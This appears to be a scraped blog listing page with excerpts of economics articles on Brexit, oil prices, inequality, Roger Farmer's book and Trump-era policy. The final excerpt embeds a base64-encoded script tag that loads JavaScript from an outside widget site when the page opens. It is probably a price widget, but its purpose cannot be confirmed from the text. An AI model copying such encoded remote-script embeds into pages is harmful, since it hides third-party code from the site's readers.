Prosperity for All by Roger Farmer (Book Review)


oger Farmer, the distinguished professor of UCLA, challenges the orthodox macroeconomics models, especially New Keynesian model, in his new book- Prosperity for All: How to Prevent Financial Crises. The human being in me is deeply disturbed by every crisis. The economist in me recognizes the invaluable opportunity that is provided by every crisis to disentangle one economic theory from another...

Does Politics Matter? For Markets, Sometimes.


The word ‘politics’ is derived from the word ‘poly’ meaning ‘many,’ and the word ‘ticks,’ meaning ‘blood-sucking parasites. The narrative of global markets is shifting away from its focus on central banks and monetary policy toward geopolitics and fiscal policy. The surprise outcomes of the UK referendum on membership in the European Union and the US presidential election suggest that the “old...

Behavioral Economics applied to Agriculture Economics


Behavioral economics is perhaps the most important new paradigm in economics in the new millenium. It is based on the idea that people don’t behave rationally, like economics suggests – that they are, in Thaler’s words, Humans (homo sapiens) rather than Econs (homo economicus). In the 1960s and 1970s, Nobel Laureate Herbert Simon and others developed behavioral economic theories assuming that...

Economic growth in the US: A tale of two countries


 By Thomas Piketty, Emmanuel Saez, Gabriel Zucman [intense_dropcap font_color=”primary”]T [/intense_dropcap]he rise of economic inequality is one of the most hotly debated issues today in the United States and indeed in the world. Yet economists and policymakers alike face important limitations when trying to measure and understand the rise of inequality. One major problem is the...

Blanchard on Recession, Expansion, and Inequality after Elections


Olivier Blanchard, PIIE   ill the economic program of President-elect Donald Trump lead to a recession or to an expansion? Before the election, many predicted a recession. But last week, markets clearly predicted an expansion. Who is right? It is obviously hard to tell. Announced programs are never implemented as such. Political realities and the need for support by Congress force minor and...

Oil Caps Biggest Weekly Decline Since January


New York (Bloomberg) Oil capped the biggest weekly loss in almost 10 months as hopes faded that OPEC will be able to implement a promised deal to cut production and ease global oversupplies. Futures dropped 1.3 percent in New York, bringing the six-session decline to 11 percent. Prices closed Thursday at the lowest level since OPEC reached a preliminary accord in Algiers for the cuts, and...

BREXIT, Nationalism, EU


Author: MOHAMED A. EL-ERIAN The aftermath of the United Kingdom’s unexpected vote in June to leave the European Union is being monitored closely. People all over the world – and particularly in Europe – want to know how Brexit will unfold, not just to manage its specific effects, but also to gain insight into what is likely to happen if other upcoming votes tip in favor of nationalist agendas...

Democratic Socialism in the USA


by Bernie Sanders [intense_dropcap font_color=”primary”]I[/intense_dropcap]n his inaugural remarks in January 1937, in the midst of the Great Depression, President Franklin Delano Roosevelt looked out at the nation and this is what he saw. He saw tens of millions of its citizens denied the basic necessities of life. He saw millions of families trying to live on incomes so meager that...

Dilemma of BREXIT


urope witnesses it’s first-of-its-sort tragedy throughout EU history. UK became the first country to ‘divorce’ EU since its creation. The event has become the headline in every prominent news and it still continues to be. As there were Leavers and Keepers, now there are pessimists and optimists about the future of both EU and UK.

Global Post-Oil Situation


[intense_code type=”js” raw_content=”JTNDc2NyaXB0JTIwdHlwZSUzRCUyMnRleHQlMkZqYXZhc2NyaXB0JTIyJTIwc3JjJTNEJTIyaHR0cCUzQSUyRiUyRjEwMHdpZGdldHMuY29tJTJGanNfZGF0YS5waHAlM0ZpZCUzRDExOCUyMiUzRSUzQyUyRnNjcmlwdCUzRQ==”] [/intense_code] [intense_dropcap]I [/intense_dropcap]t’s not so difficult to see the current situation in global markets and economies. After Oil price...